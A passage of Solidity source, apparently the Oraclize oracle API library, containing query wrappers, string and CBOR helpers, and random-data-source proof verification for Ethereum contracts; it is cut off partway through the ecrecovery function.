OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
